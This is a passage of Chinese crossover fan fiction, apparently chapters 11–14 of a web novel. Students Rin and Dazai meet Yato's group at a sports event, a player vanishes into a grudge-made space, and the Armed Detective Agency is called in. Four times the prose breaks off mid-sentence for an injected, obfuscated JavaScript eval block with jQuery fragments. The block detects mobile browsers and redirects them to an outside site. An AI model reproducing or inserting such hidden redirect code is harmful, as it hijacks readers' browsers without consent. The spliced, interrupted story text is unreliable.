两个人走过球场、操场、花坛以及人工湖,逛遍了大半个校园,将情侣打卡地依次走过。最后,来到了立海大高等部与大学部交接的体育馆。
毫无所获。
胧月凛看看面前露天篮球场,挥洒着汗水的篮球员们,以及叫好的学长学姐,和正在说着“如果我上场,凛酱会帮忙递水吗”的太宰治。
胧月凛顿悟:“太宰,你在耍我?水杯呢?不会是被你绑架了吧!”
“诶——”
十五宰拉长音,很是受伤,“在凛酱心里,我居然是这种形象吗?”
“不、不是吗。”
“好伤心!”
胧月凛:“对不起。”
胧月凛:“所以,真的不是你绑架了水杯?”
不是水杯无法成精吗?
糟糕、真是糟糕透顶的情况。
十五宰缠着胧月凛,不动声色地观察他的面部表情。
“凛酱……”十五宰半真半假地说,“凛酱相信圣诞老人吗?”
“不信。”语气十分果断。
“呐呐、神明大人呢?”
“这个世界,根本就不存在真正的神明。”
……
“——阿啾!”
“夜斗,你怎么了?”
“不要管他啦,夜斗就是个大——笨——蛋——”
雪音虽然这么说着,还是把手帕摔到夜斗身上,“笨蛋是不会生病的!”
“哈哈……”虽然这么说……
一歧日和尬笑。
前几天夜斗还以感冒为理由,硬拽着她去药店买了感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486891|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冒药呢。
不过这番行动是瞒着雪音这孩子的,所以一歧日和没有提起来。
“没关系!”
夜斗拿手帕擦擦鼻子,露出笑,他接过女生手里的水杯:日和快上场吧,队友在喊你。”
今天是一歧日和所在队伍的最后一场比赛。
真要论起来,不算是什么重要赛事,但却是日和所在社团毕业前的最后一场比赛,对于即将各奔前程的大家来说,意义非凡。
夜斗和雪音也特地来为她加油打气。
“诶……”
日和回头看看,队友的确在看着她,现在只差她自己还没有归队。
日和不可能在这个时候缺席。
她不放心地看看夜斗,一步三回头地走了:“有什么不舒服要早点说哦。那我先归队了,一会见!”
“武运昌隆!一会见!”夜斗挥手。
雪音沉默着。经历了很多事后,他比最初沉稳多了,直到一歧日和离开才开口。
“真的没事?”
“当然没事了!”夜斗拍拍雪音肩膀,被对方嫌弃地避开。
夜斗揉了下鼻子:“说不定有人在想我呢。”
“谁会想你啊?”雪音无语。
雪音倒也不是抬杠,而是身为神明的夜斗,很难和他人结缘,哪怕是认识的人类,如果一段时间不见,也会忘记夜斗的存在。
并且,能够看到夜斗的人类,虽然不罕见,可也不多。
至少这个赛场上,躲着他们两个走的人……雪音数了数,居然一个也没发现。
“所以,能想起我的人……”
夜斗笃定地说,“除了日和外,就没有他人了。”
“所以怎么可能会有人念叨你嘛……”雪音嘟囔。他倒想被别人记住,可惜这根本是不现实的事。
“所以!”
夜斗大喊,“会在这个时间提起我的!绝对不是人类!”
雪音被声音一震,条件反射地窜到体育场最高的地方:“你干什么这么大声——会吓死人的!”
雪音埋怨:“还好没人看到……”
话音未落。
“凛酱你看你看,”
一个声音从下面传出,一只缠着绷带的手准确无误地指向雪音。
“是空中飞人呢——”
“?”
“在哪里?”
胧月凛抬头仰望。
……
“真是不好意思,让你们见笑了!”夜斗强压着雪音鞠躬。
“管教不严、管教不严、哈哈。”
“不,我们这边才是。”
胧月凛站在十五宰身前,像个代娃道歉的家长。
他检讨道:“不应该随便给别人起外号的,真是抱歉。”
两位家长就孩子的素质问题互相检讨一番时,被起外号的两位早就和解了。
两个外表看上去差不多年龄的家伙蹲在窃窃私语。
“雪音?真是个好听的名字。”
“一直跟着夜斗君生活?赚钱的方法是打零工?原来如此……没有稳定工作吗。”
“连吃饭都不稳定……真是可怜。”
“我吗?我没什么值得提起的事呢。”
夜斗:雪音你这家伙!一会儿没注意,家底都快被别人扒干净了!
胧月凛:“……”
胧月凛再次鞠躬:“真的是十分抱歉。”
12. 第十二章
第十二章 正版@晋江文学城
——
几乎同一时间,东京市。
某排球比赛场。
“不甘心……”
“不甘心……”
“绝不甘心就这样结束……”
天空中,无形的嘶哑声音喃喃念着。
有无法描述的气体缓慢聚集着,组成人类难以看到的怨念。
“呼、呼——”
有人努力地奔跑在场内,试图阻挡排球落地。
可恶!就差一点!
排球滚落。
在围观群众的轰然鼓掌声中,红队再得一分。
看着对面兴奋击掌的三桥幸无力地垂下手。
无人能看到的灰黑色气体从三桥幸身上飘出,汇聚到虚空中。
“你怎么回事啊?三桥?”队友抱怨。
“就是啊,要是做不了攻手就干脆下场吧。”说着,小山拢手在嘴巴做喇叭状,“教练——三桥说她累了!”
“……不要,我还能打。”
三桥幸的声音淹没在队友的指责声中,她恳求地看向教练。
然而……尖锐的哨声响起,三桥幸被轮换下场。
教练冷冰冰地丢下一句“好好反省”便不再理会她。
三桥幸孤零零站着,替补队员们避之不及,像躲避瘟疫一样离她远远的。
三桥幸和他人之间,仿佛画上了泾渭分明的线。
“可是……”三桥幸低垂着头,艰难地忍住泪水。
三桥幸内心明白,没有接住球的原因是同队的小山站位失误,可……
“如果……我能再强一点就好了……是不是就可以一直站在排球场上……”
同一时间,几道颜色深浅不一的灰线将三桥幸和与她类似的,不甘心的选手们的怨念聚集在一起,以肉眼可见的速度凝聚成形。
泪水顺着脸颊滑落。
三桥幸大学的最后一场排球赛,便在“观众席”结束了。
教练和队友没有喊三桥幸,留下三桥幸一人,径自离开。
排球场上已经有工作人员清理地面,紧锣密鼓地进行下一场比赛的准备。
被礼貌请离赛场的三桥幸蹲在选手过道上,毫不在意路人的窃窃私语。
“不甘心、我不甘心……”
三桥幸埋头在膝间,泪水打湿了她的膝盖,顺着滑落到小腿。
“不甘心的话,为什么不让排球赛再次开始呢?”
冥冥中,一股声音在她心底响起,三桥幸像是找到救赎般,急切地抬起头。
“……!十分抱歉!”
面前是一个穿着黑色兜帽袍的家伙,三桥幸险些撞到对方。
“……诶?没有脸……”
三桥幸的这句话没有说完,便突兀地昏倒在地。
几乎是同一时间,有许多名选手也突兀地倒下。
……
“……什么情况?”
努力地为一歧日和呐喊助威,并发动了在场另外三人摇晃应援棒的夜斗短暂出神。
视野中,由东京而来的灰黑色怨念气息正不断扩散,以极快地速度向横滨蔓延。
“偏偏是在比赛最关键的时候……”夜斗抱怨了一句。
此处插播介绍:夜斗,是一名野良神,以斩除人们负面情绪积攒而起的怨念为职。
夜斗搓搓手指,喊了声雪音,雪音会意地点头。
突然离场很突兀,可如果连解释都不说的话,会更容易被误会吧。
和胧月凛的短暂接触后,夜斗感觉到,他的体质很特殊,和夜斗有些相似。但会场气息混杂,夜斗又不擅此道,也说不出个所以然。
不过有一点是很明确的——胧月凛很可能不会忘记和他的相遇。
夜斗犹豫了下,还是和胧月凛打声招呼,“那个,我们有点急事,要先走了。”
“诶……”
胧月凛想说什么,被十五宰拉住衣角。他乖乖咽下想说的话,应道:“好的。”
夜斗和胧月凛又说了几句,便告别匆匆离开,身影很快地融入人群,消失不见。
“凛酱想知道他们去哪里?”
观众席上声音很大,十五宰要贴得很近,才能让胧月凛听到他在说什么。
他的吐息呼在胧月凛耳后。
太近了……胧月凛不适地偏了下头。
胧月凛没有否认:“夜斗看上去很关注那个女生。”
他看向赛场边上中场休息的一歧日和。
女孩看上去消耗了大量体力,喘着粗气喝水,旁边有人帮她递毛巾,虽然距离很远,读不出一歧日和在说什么,可能看得出来她们相处很融洽。
哪怕是比赛进入焦灼状态,队内的情绪也很稳定。
十五宰笑了两声,问道:“所以,凛酱很好奇,为什么这位夜斗君会在赛事的关键时刻离开?”
胧月凛对十五宰读心一样的本来已经很习惯了,“嗯”了一声。
“不过……”这也是夜斗自己的事情吧。
胧月凛还没说完,十五宰便提议道:“要不要跟上去瞧瞧?”
“……”
胧月凛沉默,定定地看着十五宰。
少年语气只是随口一提,表情也无比正常。
但话里的内容听上去却不怎么正常。
“不要。”
胧月凛无情拒绝十五宰:“这是侵犯隐私的行为。”
胧月凛重新将目光投向场内,在两人闲聊的空当里,一歧日和所在的队伍以微小差距领先对方一步。
这的确是场不错的比赛,比赛双方用尽了全力,胧月凛专注地看着。
胧月凛看着比赛,十五宰就这样注视着他。
胧月凛否定十五宰的提议后,十五宰便是这样莫测的神情。
十五宰一手撑着下巴,脸颊鼓起圆润的弧度。
——和胧月凛一起住后,他不自觉也受到了对方的感染,日常作息规律了不少,体重自然也涨了些。
赛程焦灼,但比赛终有结束的时候。最终,一歧日和所在的队伍以微小差距获胜,进入全国比赛。
观众向两支队伍致以掌声。
如雷般的击掌唤回了十五宰的神智,他才发现自己在大庭广众之下看着胧月凛入神了。
十五宰掩饰情绪的功夫还没到炉火纯青,脸上泛起一丝红晕,在发现胧月凛根本没有管他,一个劲儿随人潮鼓掌时,又很快淡下去了。
顶着人潮的轰鸣声,十五宰双手搭在嘴巴拢成喇叭状,对着胧月凛的耳朵大喊:“下一站——去——哪——儿——约——会————”
“……?”
胧月凛满头问号,困惑地转身看站在椅子上冲他大喊大叫的十五宰。
会场太吵了,胧月凛没听清十五宰刚刚说了什么,只听到了一个“约”字。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486892|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>啊,是那个吧,刚才和夜斗的约定。
夜斗临走前给一歧日和疯狂地发了很多条信息,犹不甘心地拜托胧月凛,帮他给日和传话。
让胧月凛一定要转告一歧日和,他和雪音很快就会回来找她,让她不要急着离开。
左右不是什么难事,胧月凛答应了。
……没想到太宰表面不说,心里还是记得的。
胧月凛赞赏有加地看十五宰。
十五宰:“……”
十五宰:凛酱一定是误解了。
不过,十五宰也没那么想再重复一遍。
顶着人潮,胧月凛护着十五宰,逆流而下,艰难地挤下阶梯式的观赛席。
一歧日和她们的队伍已经折返回选手休息室,不在赛场上。
“休息室需要从选手通道走进去。”胧月凛说。
身为东道主,胧月凛之前也来过这个赛场,所以知道选手通道在哪里。
凭借自己的校服和言语暗示,胧月凛很轻易地就用自己可靠地像是收到过二百个教导主任赞赏的眼神,获得了进入选手通道的资格。
“凛酱……”
一边围观胧月凛向学姐表演的十五宰欲言又止。
胧月凛:“?”
十五宰用看神奇动物的眼神看着他:“凛酱居然还有这样戏精的一面。”
胧月凛歪歪头,刘海遮住了他的视线。
他把发丝别到耳后。再看,十五宰的神情已经与往常没有区别了。
胧月凛喊:“太宰。”
“嗯?”
胧月凛语重心长地说:“为了生存,人类总会变得面部全非。”
“诶……”
十五宰不置可否地应了声。
“总之是混进来了。”
胧月凛没有就此多说,转脸看看周围。
“篮球队的活动准备室……”
胧月凛照着走廊贴的标签找了找。
“不错,”很顺利地就找到了目标,胧月凛满意。
“篮球队和网球队的休息室距离不远。”
因为两个赛场的距离也不算远,有时甚至会共用一下。
一般而言,选手们会在比赛结束后到休息室休整、换衣,跟随领队回宾馆。
女子篮球休息室此刻门扉紧闭,胧月凛看了看门外贴着的提示,确定是一歧日和所在学校的那间。
休息室里隔着门也能听到凌乱的脚步声。
胧月凛扣指,敲敲门。
门内突然安静下来,过了会儿,一个掩盖不住惊慌的女声高声喊了句:“是谁?”
“……?”
刚获得胜利的队伍,会是这样的语气吗?
胧月凛感觉有些不对,不过大庭广众之下的,想来也不会有恶性事件。
但他还是先往十五宰前面站了站,然后才声音正常地回应。
“你好,我找一歧日和选手。”
……
休息室内,听到少年声音的篮球队员们面面相觑。
女生们围成一圈,中间是空荡荡的休息长凳,一歧日和的球服空荡荡堆叠在长凳上,女生本人却消失不见了。
就在不久前,女生们兴奋地交流着胜利,然后——一歧日和突然消失在众人眼前,只剩下眼前的球服。
就在大家慌乱之时,门外响起了少年的声音。
有人紧张地问:“怎么办?要开门吗?”
13. 第十三章
第十三章 正版@晋江文学城
——
“那个……事情就是这样的。”队长很是信任地看着胧月凛,总结道。
明明是前辈们的大家,此刻却很是崇敬地围着年龄更小的胧月凛。
他稳定的情绪感染了大家,女生们也从惊恐中慢慢恢复过来。
其实案情很明了,一歧日和与篮球队队员们向来关系融洽,而且在众目睽睽之下,也难以做手脚令她失踪。
所以,其中必然存在其他因素。
最后队长还是忍不住地说,“胧君,日和酱是真的凭空消失了,你可要相信我们。最重要的是……要想办法把日和酱带回来。”
其实这句话不该她来说。
队长有点心虚,明明对方才是更小的那个。
可不知为何,队长却觉得胧月凛可靠极了,仿佛只要将事情告诉他,他就会帮助自己。
队长和队员们对视,长久相处的默契让她看出大家都是这么想的。
胧月凛安抚道:“我明白。”
顶着巨大的心理压力,但还是为了日和的安慰而打开门,面对未知和怀疑的女生们,无疑是勇敢的。
……
胧月凛说话时,十五宰在暗中观察。
胧月凛在陌生人面前话不多,但说出口的言语,效果却出乎意料地好。
或许是本人气质原因,总是会让人觉得他分外可靠,也更容易对他敞开心扉呢。
十五宰一直没有说话,辅以一些动作暗示,淡化自己的存在感。十五宰对这些技巧很熟练,女生们不由自主地忽略了他。
“……该怎么说呢?不亏是凛酱吗?”十五宰低笑着喃喃自语。
十五宰声音很轻,只有他自己能听到。
但一直将注意力放在篮球队员身上的胧月凛,却在没有可能听到的情况下,伸出手来,在无人看到的角度,安抚地拍拍十五宰。
……真是的。
十五宰偷偷地抱怨。
胧月凛的态度像对待等不及大人寒暄结束的小孩。
胧月凛和女生们正说着话,立海大方的负责人敲响了休息室大门。
他们那边也发现了选手莫名昏倒的事,正一个个联络队伍,总合事态。
在负责人口中,胧月凛得知,在短短两个小时内,有很多名选手无故昏倒,接连被送往医院。因为事出突然,校方还没有来得及通知所有选手,但已经报了警。
不过,像一歧日和这样凭空消失的的现象还是第一起。安全起见,负责人正在将大家聚集在一起,方便及时看护。
附近的选手也都跟着立海大的负责人离开了,这附近只留下胧月凛和十五宰两人。
空气安静下来,二人之间却隐约流动着无法形容的静谧氛围。
二人一时无话。
胧月凛虽然答应了篮球队女生的请求,可大家都很清楚,这只是因为惶恐情绪下,不由自主地寻求寄托罢了。
从理智上来讲,那几位队员并不是真的指望胧月凛能够破案。
毕竟他只是个未成年。
而且,校方的负责人已经出现,并且从他的行动来看,学校没有推诿,而是第一时间选择承担责任。
至于胧月凛原本答应的……帮夜斗转话的事,也因为客观原因而无法进行了。
所以,哪怕什么都不做,也没关系。
十五宰:“事到如今,凛酱决定怎么做?”
胧月凛简短地回答:“既然答应了帮忙,当然要把话传达给当事人。”
然而打了好几遍,夜斗的电话都没有拨通,电话那边,女声一遍遍地重复着。
胧月凛看看长凳上的球服。
一歧日和消失时留下的球服没有被带走,还留着这里。
胧月凛说:“没办法了,报警吧。”
不过报得是假警。
毕竟是在横滨这样的城市生活,大家或多或少都听说过有关武装侦探社的名号,也知道有些时候,武装侦探社比神奈川警察署还要有用。
“据说……里面的核心人员都是异能力者呢。”胧月凛若有所思地说。
他是从网球部那边听来的八卦。
十五宰:“嗯?”
“有点好奇。”
胧月凛说,“毕竟在都市传说中,这类组织一般在暗地里担任着城市英雄的职责么。”
“说得也是……”十五宰顺着胧月凛的思路说,“这样一来,组成部分也很好推测。”
胧月凛旋即跟上:“镇山的虎,敏捷的豹,远见的鹰,善战的狼,看门的狗……”*
“是这样没错吧?”胧月凛有点骄傲。
自己可是博览群书,在一本不知名读物上,看到过结构相似的形容。
“嗯?”
十五宰罕见地一懵,扑哧笑了。
笑得有点疯狂,颤抖到胧月凛怀疑他突发疾病,担心地扶住十五宰。
“凛酱……”
十五宰擦掉笑出来的眼泪,挂在胧月凛身上,“你真是太有意思了。”
“说起来~”十五宰突然转移话题,“我也是异能力者哦~”
语气听起来挺轻松的。
但胧月凛嗅到了一点,他身上常见的“不安desu”的味道。
胧月凛:“猜到了。”
“嗯?”
十五宰顺着说,“凛酱是怎么看出来的,我似乎……没有提过呢。”他对自己的演技也很自信。
胧月凛拿出衡量的目光,上下扫视十五宰,很是认真地撑着下巴说:“太宰你一看就是那种不受老板欢迎的员工,消极怠工,摸鱼放纵,绝对是家常便饭。”
“所以,”
胧月凛丢出结论,“如果没有用,老板绝不会收下你。”
这是饱含生活血泪的判断。
“真是毫不留情的实话呢……不过也没说错。”
十五宰接受了胧月凛的推理过程,“可我的异能,是没有意义的存在哦。”
“我的异能,名为‘人间失格’,”
十五宰晃晃手,与漫画中酷炫的异能效果不同,他的异能发动时,毫无波动,是很隐蔽的能力。
十五宰的吐字很清晰,胧月凛也听得明白:“‘人间失格’的效果是,通过肢体接触无效化他人的异能。”
在里世界中,几乎无人知晓的秘密,就这样从十五宰的嘴中轻松地说了出来。
更何况,这可不是他口中什么“没有意义”的存在。
然而另一位听众毫无所觉,只是带着点思索地回忆。
“原来如此……”
胧月凛说,“难怪最初认识的时候,你一直刻意不和我进行肢体接触。”
“我没有异能,太宰。”
胧月凛同样伸出手,在十五宰眼前晃晃。
胧月凛声音平淡,和日常说话时别无二致,好像十五宰所说的“特殊能力”,没有在他心中留下任何涟漪。
十五宰出神地看着。
胧月凛手心白皙,掌纹清晰,指尖泛着明显的一点红晕。
对于人类来说,是十分健康的状态。
“一个普普通通的人类。”
胧月凛耐心地说,“所以,在我这里,没有使用异能的必要。”
如此一来,所谓“异能存在的意义”,又有什么关系呢?
胧月凛没有把这句话说出口,但他相信十五宰能听懂自己的潜台词。
“我知道哦。”
十五宰抓住晃在眼前的手,在胧月凛困惑地注视下,缓缓将自己的手指与其相扣。
最后,十指相扣,十五宰紧紧地攥了下胧月凛的手。
不疼。
只是指缝相接后,总有种被撑开的饱胀感。
胧月凛虽然不懂十五宰又在想什么,但自问牵手也没什么妨碍,便忽略掉那点不适,任由他牵着自己。
胧月凛转了一圈,确认休息室内的一切痕迹都很正常,至少不是专业侦探的他做不到。
胧月凛陷入沉思。
然而,一直专注着运动员失踪案的他,完全忘记了,十五宰牵着自己的手,一直没有松开。
不知抱着什么想法,十五宰也没有吭声。
于是,两个陷入自己的世界,忽略了外界流逝的少年,在休息室等到武装侦探社成员,并且,社员将目光落在两位少年十指紧扣的双手时,被多看了两眼,也是件很正常的事吧?
“乱步。”
黑发绿眸的娃娃脸青年背后,银色狼尾发型,气质端肃的和服男人拉回江户川乱步。
“十分抱歉,失礼了。”
男人点头致意,“在下福泽谕吉,此番前来,是为阁下所下达的委托。”
是位用词老派的先生呢。
胧月凛伸出左手,与福泽谕吉短暂交握:“胧月凛,请多多指教。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486893|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男人的手掌灼热,手上有很多硬硬的茧子,一看便是位习武之人。看茧子的分布,应该和真田副部长相似,修习剑道。
简单地寒暄后,福泽谕吉便直入正题。
“那位一歧日和女士的失踪地点,便是这所休息室?”
没等胧月凛回应福泽谕吉。
福泽谕吉旁边,叫做江户川乱步的青年,已经自来熟地用视线“逛”遍了整个休息室。
最后,江户川乱步的目光停留在长凳上,不到三秒的时间后。
江户川乱步拽上男人的衣袖,用四人都能听到的音量,理直气壮地说:“社长,这个委托没有做的必要啦,过会儿就解决了,我们拿到报酬就走吧。”
“再拖下去,就来不及去买点心了。”
一句话,胧月凛陷入思索。
事实上,这个委托是乱步强烈要求接下的。
结果来了便要回去。
福泽谕吉大脑隐隐作痛。
福泽谕吉知道乱步偶尔任性,可不会拿求助人开玩笑,让乱步做出“可以离开”的判断,说明此事确实得到解决了。
不过,还是需要和委托人解释一下。
福泽谕吉不善言辞,遇到这种容易引起误会的事,更是难办。他眉头紧锁,嘴唇翕动,凝重地像是一口能吃掉三个小孩。
“……”
做好心理建设的福泽谕吉准备开口。
胧月凛:“……唔。”
福泽谕吉蓄力失败。
胧月凛:“为什么?”
翠绿色眼眸睁开,犀利的目光扫过胧月凛。
无论江户川乱步平日里多没正形,涉及到专业领域的他,便是无人能掠其锋芒的专家。
胧月凛却对此毫无所觉,两个差不多高的人面对面站着,目光对视。
二人锋芒相对,谁也不让。
还是福泽谕吉先妥协了,他开口将二人注意力转到自己身上。
先是将江户川乱步拉到自己身后,语气严厉地喊了声名字,又转头向委托人胧月凛说:“抱歉,是我们这边失礼了。”
说归说,福泽谕吉还是顺着江户川乱步的意思,表达歉意,并解释这个委托他们做不了。
因为,“我相信乱步的判断,既然乱步说事件会自行解决,那便不会出现问题。”
世界沉默了三秒。
胧月凛抬手。
还是晚了一步。
没有被及时捂嘴的十五宰:“难道不是因为……”说着十五宰故意停顿了一下,“做不到?”
语气挑衅,动作恶劣。
胧月凛摁下十五宰指向江户川乱步的手。
但是没用。
江户川乱步一经挑衅,迅速鼓起脸。
哪怕知道那小子有意激将,可自己怎么能忍下这口气!
江户川乱步深吸一口气,噼里啪啦一顿输出,在十五宰和江户川乱步二人语速极快又夹杂着大量意识流分析的对话中,胧月凛和福泽谕吉艰难地捡出几句。
大意是:十五宰是个阴险胆小鬼,江户川乱步是个社交废柴。
互相指责对方明明都猜到是怎么回事了,却坏心眼的不说,看着别人干着急。
十五宰:“略略略。”
江户川乱步:“略略略略略。”
胧月凛:“……”
福泽谕吉:“……”
好吵。
比五百只鸭子还吵。
“好痛!”
这是被敲额头的江户川乱步。
“让我说完——”
这是被拽住的十五宰。
从细节可以看出,二位监护人的教育风格略有差异。
最后。
胧月凛和十五宰;福泽谕吉和江户川乱步,四人在篮球休息室内面对面排排坐好。
江户川乱步叼着棒棒糖,哪怕被训了,也毫不记仇,大大咧咧靠在福泽谕吉身边。
江户川乱步:“但是话又说回来了,委托人你看上去一点也不着急,不也是因为猜到了事情发展吗?”
胧月凛沉默:“……”
他就是个普通人,既没有特异功能,也没有超脱常人的大脑,他能知道什么?
胧月凛:“没有。”
江户川乱步:“?”
胧月凛组织语言,慢慢地说:“……但是,我清楚一件事。一位被真心守护着的女孩,她的骑士,便绝不会让她遇到任何危险。”
14. 第十四章
第十四章 正版@晋江文学城
——
“我去!这什么鬼东西——”
夜斗大喊,他正身处于一个奇异空间内。
与雪音一起离开的夜斗,找了个无人在意的角落,便动用神力很快地赶到了怨念气息的边界。
从外面看的时候,这只是一个普通的,因选手们的失意而诞生的怨念。
——至少在被吸入前,夜斗都是这么想的。
“喂喂——这可不好玩。”
夜斗语气轻松,眼神却很是冷静,一厘一厘地扫过异空间。
这里面满是各种各样的体育器材,没有重力,以致于人和器材一起漂浮着。
仔细观察特征,如果负责赛事的人在,就会发现,空间里的人都是失踪选手的意识体。
这里有男有女,全都紧闭着眼睛,陷入昏迷,哪怕被器材撞到也毫无反应。
并且,雪音似乎也出了些意外,不受控制地回归神器状态。
“雪器,你看出这是怎么回事了吗?”
夜斗一边问,一边借力调整身体。
还好,虽然变成了神器,雪音的神智还在,也能正常交流。
雪音夹在两个人之间,不爽地挣动了下身体,但因为没有着力点,他的动作比预想中小了很多。
被身体遮挡地严实,雪音现在什么都看不到。
雪音不爽地嗡鸣一声:“不知道!”
“……看起来,是个禁锢空间,并且在不断地吸取人类进来。”
几句话的功夫,已经又有两个人进来了,夜斗拨开几乎要飘到自己脸上的人。
他冷静地思索。
这大概率是个阵法,而怨念都是些没脑子的家伙。所以……除了怨念外,应该还有另一方的存在,二者合作,才产生了这个异空间。
那么,对方的目的是什么呢……?
经过分析,这个空间对夜斗来说,算不上威胁。
夜斗的神力性质是“斩断”,包括一切无形之物。
如果他想离开,这个还处在发育期的空间仍然孱弱,他甚至不需要动全部神力。
但是……不知道背后的家伙有什么阴谋。
夜斗打算再观察一会儿,多给他一些时间,应该能记下异空间的特征。到时,无论去找哪位研修阵法的神明,都有话可说。
正想着,一声闷哼响起。
“唔?”
是日和的声音。
夜斗迅速地反应过来。
日和也是选手的一员,这个似乎针对运动员的空间会把日和带进来,也不是什么难以办到的事。
而一歧日和那边,她正和队友说着话,聊到自己要等个朋友,不跟大家一起走的时候。视线一黑,突然地便来到了一个诡异的空间里,身体不受控制地漂浮起来。
一歧日和懵懵地想:‘怎么回事……’
夜斗几乎能想象到日和会在心中吐槽什么。
没等日和思考结束,一个熟悉到铭心刻骨的声音便响起。
“日和!来!”
夜斗大喊着,借力蹬了下一个桌子,一把抓住了一歧日和的手腕,并将她拦在怀里。
方才的思考全部被夜斗抛之脑后。
哪怕异空间目前看上去没有威胁,夜斗也不会让一歧日和留在可能会有危险的地方。
“——雪器!”
这一次,雪音很快地相应,黄色太刀游走过来,夜斗单手握刀,另一只手揽住日和,同时结印念咒。
“……丰苇原中国,在此引起骚乱之者,吾夜斗神降临于此。”
“臣服于雪器之威,佛除种种污垢障壁……”
“——斩。”*
炫目的光辉闪过,空间裂开一道黑色缝隙,夜斗隐约从看到一些符咒,还未等他全部记下来,便与沉睡中的人一同回到现世。
作为在场唯一的战斗人员,福泽谕吉最先察觉到陌生气息,他于瞬息间起身,手扶上刀柄,进入备战状态。
江户川乱步虽然没感觉,但也默契地挪到不碍事的安全地点。
倒是胧月凛,因为感觉迟钝,仍然板正地坐着,十五宰眨眨眼,不知出于什么心态,也没有动。
但不约而同地,四双眼睛同时看向了唯一的特别之处——休息室中间的长凳。
极快地眩晕感过后,夜斗和日和、雪音三位便一致感觉冲破了某种屏障,重回现世。
落地点……是运动员休息室?
夜斗扶着一歧日和,调整好姿势,稳稳落地。
然后——狭小的休息室内,七双眼睛面面相觑,十三只眼睛依次相对。
沉默气息,弥漫在房间里。
胧月凛:“……好多双眼睛,要看不过来了。”
对于会发生趣事的话题,江户川乱步第一时间响应。
同时,他也没忘记方才的质疑。
对于名探来说,破案的目的,当然不仅是破案。最重要的,是享受破案后他人的崇敬目光。
而现在——正是要接受崇拜的时刻啊!
江户川乱步挺胸哼哼:“如何?”
他指向胧月凛,超大声:“名探是不会出错的!”
事实都摆在眼前了,江户川乱步一百分理直气壮。
胧月凛低头:“对不起。”
“诚意啊诚意,道歉要有诚意——”
“诚意?”胧月凛绞尽脑汁地搜罗夸赞词。
另一边,一歧日和毕竟是人类的身体,穿越空间的不适感恐怕会比他和雪音要难受,而女孩揉头的动作更是证明了这一点。
夜斗一时之间顾不上别的,和雪音一起,紧张地围在日和旁边嘘寒问暖,转来转去。
而剩下的两位。
福泽谕吉沉默地看了看十五宰,只见棕发少年若无其事地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486894|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转移视线,加入乱步一方,一同指责胧月凛。
于是,在场七位,只有福泽谕吉无所事事。
疑似被孤立的福泽谕吉:?
……
人既然找回来了,承诺完成。侦探社那边又拒绝了委托,没什么事,胧月凛便准备和夜斗几人告别。
在横滨生活的日子告诉胧月凛,如果不想被卷入纷乱之中,最好的选择便是睁一只眼闭一只眼。
——几人似乎也不欲普通人掺进超现实当中,除了夜斗欲言又止地看了胧月凛几眼外,毫无波澜地离开了。
另一边,拿着胧月凛的歉意——甜品店优惠券后,江户川乱步志得意满地指挥着福泽谕吉到甜品店。
“社长!”
乱步自觉是个大功臣,嚣张道:“这是意外收获,不算在糖分摄入额度内嗷!”
是的,年满26岁的成年人乱步仍然在被他的监护人严格管控着糖分摄入。
福泽谕吉没第一时间打击乱步的自信,问:“为什么?”
“嗯?”
青年明显愣了一下,才说:“我没说吗?”
“说什么?”
乱步挖了一大勺巴斯克蛋糕塞进嘴里。
“之前不是答应芥川帮他找妹妹?还是要从港口黑手党的首领入手吧?但他藏得太深——”
果然很好吃。
满足地眯起眼睛,乱步声音含糊地继续:“所以我就在想,怎么才能让他主动透露呢?”
乱步看向一旁的夹心芭菲,这是看乱步买的甜品种类多,店员额外赠送的新品试吃。
由七层不同口味水果组成的堡垒形状,卖点是夹心馅料未知。
对方有意躲藏,虽然花些心思也不是找不到,可他为什么要非那么大的劲。
“这种时候,只需要找到他最在意的人,以物换物就可以啦~”
江户川乱步拿着细长的银色小勺,瞄准完好的芭菲,手指轻巧地从底部钻出一个小洞,既没有破坏外部的完整,却也能看到内部。
“常理来说,最在意的东西,当然是放在保险箱最保险。”就像他的零食一样。
福泽谕吉:“但这位首领并非常人。”
乱步随意地说着,尝了下口味。
不喜欢。
